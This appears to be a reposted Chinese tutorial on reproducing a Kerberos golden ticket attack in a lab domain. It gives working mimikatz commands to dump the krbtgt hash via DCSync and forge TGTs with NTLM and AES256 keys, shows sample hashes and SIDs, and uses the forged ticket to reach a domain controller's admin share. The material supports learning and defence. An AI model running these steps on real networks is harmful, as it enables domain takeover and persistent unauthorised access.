本文主要是介绍复现黄金票据,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
一、黄金票据攻击介绍
黄金票据(golden ticket)攻击,是一种为任意用户生成TGT票据的方法,属于一种后门。黄金票据生成,是生成有效的TGT Kerberos票据,并且不受TGT生命周期的影响(TGT默认10小时,最多续订7天),那么,这里可以为任意用户生成黄金票据,就可以为域管理员生成TGT,普通用户就可以变成域管理员。
二、Kerberos认证流程
Windows 的认证协议主要有两种,一种是 NTLM 认证,另一种是 Kerberos认证。
这里主要简单说一下Kerberos认证方式,这是一种基于票据的认证方式,有客户端、服务器和KDC(DC,Domain Controller)组成。
认证流程:
1.客户端向KDC的AS服务请求开具身份证明。
2.AS服务认证成功后返回给客户端认证权证(TGT,黄金票据攻击需要伪造的票据)
3.客户端拿着TGT到KDC的TGS服务买票。
4.TGS认证成功后返回给客户端服务票据(ST)。
5.客户端拿着ST去访问服务。
6.服务向DC核实,返回相应的服务资源。
三、黄金票据的制作条件
- 1.域名称
- 2.域的SID
- 3.域控的Krbtgt账户的密码hash值
- 4.任意域用户名
四、制作黄金票据,也就是伪造TGT
1.获取Krbtgt的hash
首先以管理员权限,在域控制器上执行mimikatz命令:
privilege::debug
lsadump::dcsync /user:krbtgt
-
记录Krbtgt用户的以下信息:
Hash NTLM: 4c32d497137ce2fbc28c297e73a87889
aes256_hmac: 414818be77de302b3801226cfe04599fb9aabfe114231a29d1386ee4d6507067 -
2.域sid
在普通域成员机器上,使用 “whoami /user” 获取。
-
记录普通域用户id信息:
student01:S-1-5-21-3792756393-3386897061-2081858749 -
3.域账户
域账户:student01 -
4.域名
在普通域成员机器上,使用 “systeminfo” 获取。
-
记录域名:college.com
制作黄金票据所需内容
Hash NTLM:4c32d497137ce2fbc28c297e73a87889
域名:college.com
域账户:student01
域sid:S-1-5-21-3792756393-3386897061-2081858749
使用mimikatz制作黄金票据
-
在获取上面信息后,使用mimikatz工具生成黄金票据(普通域用户权限即可制作),过程如下:
-
1.查看当前票据
kerberos::list -
2.清空票据 #防止之前的票据对新作的票据产生影响
kerberos::purge
3.制作黄金票据 /admin:用户名任意 /ticket:票据名称任意即可
kerberos::golden /admin:administrator /domain:college.com /sid:S-1-5-21-3792756393-3386897061-2081858749 /krbtgt:4c32d497137ce2fbc28c297e73a87889 /ticket:ticket.kirbi
会在当前目录下生成黄金票据:
5.在普通域用户机器上,重新打开cmd窗口,可以直接列出域控目录
dir \dc.college.com\c$
6.使用aes256也可以制作黄金票据。
原理和上面的是一样的,只是hash不同而已。
kerberos::golden /domain:school.com /sid:S-1-5-21-2236738896-1661306322-1924668396 /aes256:87d3913d6cb96fef6fcc7a616ee33625bec4b8cffc7a2efa7f177541dd7d3d9c /user:hello /ticket:aes256.kirbi
五、总结:
- 黄金票据攻击相当于一个后门,制作黄金票据最重要的是获取到Krbtgt用户的hash。
这篇关于复现黄金票据的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!